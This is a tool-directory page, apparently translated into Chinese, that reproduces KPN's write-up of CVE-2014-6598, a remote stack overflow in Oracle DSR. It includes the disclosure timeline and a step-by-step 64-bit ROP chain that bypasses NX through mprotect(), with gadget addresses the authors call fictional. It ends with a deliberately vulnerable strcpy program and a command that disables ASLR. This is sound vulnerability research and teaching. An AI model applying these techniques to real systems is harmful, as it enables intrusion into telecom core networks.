Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
DRA_writeup — Oracle DSR 栈缓冲区溢出漏洞 (DRA) CVE-2014-6598 的分析报告 | Kitploit
工具/GitHubGitHub/kpn-ciso/dra_writeup
漏洞利用框架漏洞分析漏洞利用逆向工程模糊测试论文与研究学习与教育二进制利用
GitHubkpn-ciso/dra_writeup

DRA_writeup

Oracle DSR 栈缓冲区溢出漏洞 (DRA) CVE-2014-6598 的分析报告

查看仓库
14611年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Oracle DSR 中的安全漏洞

KPN CISO REDteam

KPN 是位于荷兰的一家电信运营商。CISO REDteam 成立于 2013 年,是 KPN 的伦理黑客团队。该团队负责对 KPN 的应用程序和服务进行安全测试,以确保我们客户的数据免遭未经授权的访问、修改和数据丢失。

直径路由代理背景

KPN 运营着荷兰最大的移动网络。KPN 运营的 4G 网络组件之一是基于 Oracle 直径信令路由器 (DSR) 应用程序的直径路由代理。直径路由代理 (DRA) 是 3G 或 4G 网络中的一个功能元素,提供实时路由能力,以确保消息在网络中的正确元素之间路由。3GPP 引入了 DRA,以应对日益增长的直径信令流量以及 4G LTE 网络日益增长的复杂性。它可以作为核心路由器部署,在归属网络中的直径元素之间路由流量,也可以作为网关路由器部署,在归属网络和漫游网络中的直径元素之间路由流量。3GPP 规定直径协议用于多个接口,包括用于 MME-HSS 通信以及漫游的接口 (S6a)。

下图展示了 LTE 环境中典型的 DRA 部署。 所有元素之间的接口都是 S6a 接口。

LTE 漫游设置

  • PLMN = 公共陆地移动网络
  • IPX = IP 交换
  • HSS = 归属用户服务器
  • MME = 移动管理实体

Oracle DSR 是一个运行在 CentOS Linux 上的机器集群,执行 DRA 功能。它通常连接到归属 LTE 网络中的不同 MME 和 HSS,但也可能通过 IPX 网络连接到漫游合作伙伴。

漏洞

通过使用 Codenomicon DEFENSICS 平台,KPN REDteam 在 Oracle DSR 应用程序版本 5.0 中发现了两个主要漏洞:

  • dsr 进程中的栈缓冲区溢出 CVE-2014-6598。
  • 一个 SCTP 内核崩溃,此前已报告并在 CVE-2014-0101 中修复。

第一个漏洞允许连接到 IPX 网络的未认证远程攻击者完全控制 DRA 及其组件。当攻击者完全控制 DRA 系统后,他能够监控所有通过 DRA 路由的流量,并可能进一步渗透电信运营商的核心网络。

负责任的披露时间线

  • 2014-07-24:向 Oracle 报告漏洞。
  • 2014-10-21:向使用受影响 DSR 的电信公司发布安全补丁。
  • 2015-01-20:Oracle 在关键补丁更新 (CPU) 中公开发布。
  • 2015-01-29:发布此篇文章。

结论

Oracle 认真对待报告的漏洞,KPN REDteam 与 Oracle 密切合作以解决这些问题,这也在他们的客户建议中有所表述:

“近期的安全测试在 Oracle 直径信令路由器产品的某些版本中发现了两个安全漏洞。为了保护您的网络免受这些漏洞的潜在利用,Oracle 强烈建议您立即采取本文所述的措施。Oracle 感谢 Frank Cozijnsen(KPN CISO REDteam 伦理黑客)发现了下述的直径栈漏洞。特别感谢 KPN 在 Oracle 分析阶段的支持。注意:这些发现将在 Oracle 计划于 2015 年 1 月 20 日发布的下一期 CPU 中公开披露。”

发现的这些问题对使用 Oracle DSR 的电信运营商构成了严重威胁,任何能够访问 IPX 连接的攻击者都可能利用它们。

测试方法

KPN REDteam 在产品和服务部署到生产网络之前对其进行测试。作为升级项目的一部分,KPN REDteam 从安全角度测试了 Oracle DSR 5.0 版本。安全测试包括使用 Codenomicon Diameter Server test Suite 对 Oracle DSR DIAMETER 实现进行模糊测试。能力交换请求 (CER) 消息用于检查接收服务器的 DIAMETER 能力,被选为初始模糊测试目标。之所以选择这条消息,是因为它不会被转发到其他系统(如 HSS),而是由 DSR 本身处理。在模糊测试过程中,注意到 DSR 的消息处理器 (MP) 刀片上出现了几次 "dsr" 进程崩溃。

技术细节

使用带有 PEDA 插件的 GDB 分析了崩溃,并最终编写了一个远程利用程序。崩溃是由于超出栈上缓冲区末尾的越界写入造成的。越界写入用用户控制的数据破坏了栈。同时,保存的返回指针(即函数返回后程序返回的地址)也被覆盖。如果攻击者能够控制这个返回指针,则可能导致任意代码执行。

GDB 中的崩溃

撰写本文的主要原因是解释 KPN REDteam 如何绕过存在的 ASLR 和 NX 保护,并成功创建了一个可工作的远程代码执行利用程序。通常,ASLR 和 NX 保护机制对攻击者来说不是很大的障碍,但 DSR 运行在 64 位 CentOS 上。关于在受 ASLR 保护的 64 位 Linux 系统上进行返回导向编程 (ROP) 的实用文档并不多。

在调试过程中,注意到 libc 库在 dsr 进程中总是映射到相同的地址,并且在重启后地址也不会改变。其他库在 dsr 进程中映射到随机内存地址。知道 libc 内存地址后,就可以使用 libc 作为 ROP 小工具的来源。另一种选择是使用 dsr 二进制文件本身作为 ROP 小工具的来源,但该文件中可用的小工具数量有限。

mprotect()

为了绕过 NX 保护,可以使用 mprotect() 函数使栈可执行,从而能够执行我们的 shellcode。

mprotect() 函数需要在相应的寄存器中设置以下值:

  • %RDI 包含要更改的内存区域的内存偏移量(页边界对齐)。
  • %RSI 包含要更改的内存区域的大小。
  • %RDX 包含权限位,在我们的例子中是 0x7 -> rwx 权限。

如果所有寄存器都已设置,可以在目标 libc 库的偏移量 0xe54b0 处调用 mprotect()。

ROP 链

文档的以下部分假定读者了解 ROP 及其工作原理。在 shell-storm.org 上有一个很好的示例,展示了如何在 32 位 Linux 系统上创建 ROP 链。 由于“部分”ASLR,栈本身的位置是不可预测的。使用 ROP 小工具将栈指针 (%RSP) 值存储到 %RSI 寄存器中。

步骤 1

寄存器 %RDI 必须包含需要设为可执行的内存区域的内存偏移量。

可以使用栈指针来确定这个内存地址,并且必须将其设置为内存页边界。可以使用 XOR 指令将该地址的最后 4 个字节归零以匹配页边界。只有一个小工具可用于对 %RAX 寄存器执行此操作,因此第一步是将栈指针的值获取到 %RAX 寄存器中。

KPN REDteam 目前不想披露有关实际利用程序太多信息,因此下面使用的地址是虚构的。但它们能说明指令执行的顺序。

首先将栈指针存储在一个寄存器中。选择 %RSI 寄存器,因为在 libc 二进制文件中没有小工具可以直接将值存储在 %RAX 寄存器中。

root@kitploit:~
使用了以下 ROP 小工具:
    - 0x00000039c1111111 : pop rcx ; ret 
    - 0x00000039c2222222 : pop rdx ; pop rsi ; ret
    - 0x00000039c3333333 : push rsp ; and al, 8 ; call rcx
    - 0x00000039c4444444 : mov rax, rsi ; ret

溢出前寄存器的值如下:
    %RAX    0x1e40
    %RCX    0x3ad
    %RDX    0x0
    %RSI    0x0
    %RDI    0x49b8970
    %RSP    0x7fdb97abaaaa

第一个目标是将 %RSP 中的值获取到 %RSI 中。

这导致载荷的第一部分如下:
    [NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]

第一个执行的指令是 "pop rcx",它将 0x00000039c2222222 加载到 %RCX 寄存器中。pop 指令还将栈指针移动到存储 0x00000039c3333333 的位置。这将是下一个 ROP 小工具的地址:"push rsp ; and al, 8 ; call rcx"。push rsp 指令将栈指针压入栈中,之后将调用之前存储在 %RCX 寄存器中的地址。这会从栈中加载两个值到 %RDX 和 %RSI 寄存器,并返回到地址 0x00000039c4444444。现在 %RSI 寄存器包含了之前存储的栈指针。位于地址 0x00000039c4444444 的 ROP 小工具将 %RSI 中的值复制到 %RAX。

现在可以使用 %RAX 寄存器中指向我们栈的指针来更改栈上内存映射的权限。为了将最后 4 个字节归零,我们使用了一个仅应用于 %RAX 寄存器最后 4 个字节的 XOR 指令:

root@kitploit:~
寄存器的当前值:
    %RAX    0x7fdb97abaaaa
    %RCX    0x00000039c2222222
    %RDX    0x7fdb97abaab2
    %RSI    0x7fdb97abaaaa
    %RDI    0x49b8970

对 %RAX 的最后 4 个字节进行 XOR 操作
    0x00000039c6666666 : xor ax, ax ; ret

现在寄存器包含:
    %RAX    0x7fdb97ab0000
    %RCX    0x00000039c2222222
    %RDX    0x7fdb97abaab2
    %RSI    0x7fdb97abaaaa
    %RDI    0x49b8970

下一步是将 %RAX 中的值放入 %RDI:

root@kitploit:~
使用了以下 ROP 小工具:
    - 0x00000039c6666666 : pop rdx ; ret
    - 0x00000039c7777777 : xor al, 0x41 ; pop rdi ; ret
    - 0x00000039c8888888 : push rax ; and bh, al ; jmp rdx

这些指令之间的交互方式与之前解释的指令类似。

载荷现在看起来像这样:
    [NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
    [0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]

结果是以下寄存器内容:
    %RAX    0x7fdb97ab0000
    %RCX    0x00000039c2222222
    %RDX    0x00000039c7777777
    %RSI    0x7fdb97abaaaa
    %RDI    0x7fdb97ab0000

%RDI 寄存器现在包含栈上一个内存偏移量,并且已对齐到页边界。

步骤 2

寄存器 %RSI 必须包含需要更改的内存区域的大小。

这很容易,只需将大小放入 %RSI 即可。

root@kitploit:~
只使用一个小工具,以及大小值。
    - 0x00000039c9999999 : pop rsi ; ret

大小 (0xf0000) 将从栈中弹出,因此必须将其添加到载荷中。

载荷现在看起来像这样:
    [NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
    [0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
    [0x00000039c9999999][0x00000000000f0000]

现在寄存器包含:
    %RAX    0x7fdb97ab0000
    %RCX    0x00000039c2222222
    %RDX    0x00000039c7777777
    %RSI    0xf0000
    %RDI    0x7fdb97ab0000

步骤 3

寄存器 %RDX 必须包含权限位,在我们的例子中是 0x7 -> rwx 权限。

这一步与上一步类似。该值将从栈中弹出:

root@kitploit:~
只使用一个小工具,以及权限设置。
    - 0x00000039caaaaaaa: pop rdx ; ret

权限值是 0x7(读取、写入和执行权限)

载荷现在看起来像这样:
    [NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
    [0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
    [0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]

现在寄存器包含:
    %RAX    0x7fdb97ab0000
    %RCX    0x00000039c2222222
    %RDX    0x00000039c7777777
    %RSI    0x7
    %RDI    0x7fdb97ab0000

现在所有寄存器都具有正确的值,可以使这部分栈可执行。

步骤 4

调用 mprotect()

必须将 mprotect() 指令的地址包含在载荷中。 对于本例,libc 加载在地址 0x0000003888c00000 上,因此使栈可执行的载荷如下所示:

root@kitploit:~
    [NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
    [0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
    [0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
    [0x0000003888ce54b0]

仅此而已。要完成利用,您仍然需要确保指令指针指向您的 shellcode,但根据上述解释,这很容易。

自己动手

构建 ROP 链并测试工作原理很容易在 64 位 Linux 机器上完成。 要自己尝试,您可以编写一个易受攻击的 C 程序:

root@kitploit:~
#include <string.h> 
#include <stdio.h> 

void print_name(char *Buffer)
{
     char name[64];
     strcpy(name,Buffer);
     printf("Hi, %s!\n", Buffer);
}

int main (int argc, char **argv)
{
     print_name(argv[1]);
}

编译此程序时不要启用栈粉碎保护 (SSP)

root@kitploit:~
$ gcc -fno-stack-protector -o exploitme exploitme.c

为了测试,请确保暂时禁用 ASLR:

root@kitploit:~
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

现在启动您的 GDB 并开始黑客攻击..

在 GDB 中,使用以下参数运行此文件:

root@kitploit:~
run `perl -e'print "\x41" x500'`

GDB 的 PEDA 插件使生活更加轻松,并将帮助您找到 ROP 小工具。

下载工具